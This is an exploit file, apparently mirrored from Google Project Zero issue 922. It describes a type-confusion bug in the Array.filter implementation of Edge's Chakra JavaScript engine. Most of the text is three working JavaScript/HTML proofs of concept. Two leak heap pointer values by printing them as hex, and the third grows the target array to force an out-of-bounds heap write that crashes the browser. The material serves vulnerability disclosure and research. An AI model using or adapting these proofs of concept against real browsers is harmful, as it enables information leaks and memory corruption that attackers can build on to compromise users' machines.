1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922 There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached: var b = new Array(1,2,3); var d = new Array(1,2,3); class dummy{ constructor(){ return d; } } class MyArray extends Array { static get [Symbol.species]() { return dummy; } } var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7); function test(i){ return true; } a.__proto__ = MyArray.prototype; var o = a.filter(test); var h = []; for(item in o){ var n = new Number(o[item]); if (n < 0){ n = n + 0x100000000; } h.push(n.toString(16)); } alert(h); <html><body><script> var b = new Array(1,2,3); var d = new Array(1,2,3); class dummy{ constructor(){ alert("in constructor"); return d; } } class MyArray extends Array { // Overwrite species to the parent Array constructor static get [Symbol.species]() { alert("get"); b[0] = {}; return dummy; } } var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7); function test(i){ return true; } a.__proto__ = MyArray.prototype; var o = a.filter(test); alert(o); var h = []; for(item in o){ var n = new Number(o[item]); if (n < 0){ n = n + 0x100000000; } h.push(n.toString(16)); } alert(h); </script></body></html> https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1 I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow. --> <html> <body> <script> var b = new Array(1,2,3); var d = new Array(1,2,3); d.length = 0x200000; d.fill(7); class dummy{ constructor(){ alert("in constructor"); return d; } } class MyArray extends Array { // Overwrite species to the parent Array constructor static get [Symbol.species]() { alert("get"); b[0] = {}; return dummy; } } var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7); for(var i = 0; i < 0x200000; i++){ a[i] = i; } function test(i){ return true; } a.__proto__ = MyArray.prototype; var o = a.filter(test); alert(o); var h = []; for(item in o){ var n = new Number(o[item]); if (n < 0){ n = n + 0x100000000; } h.push(n.toString(16)); } alert(h); </script> </body> </html> |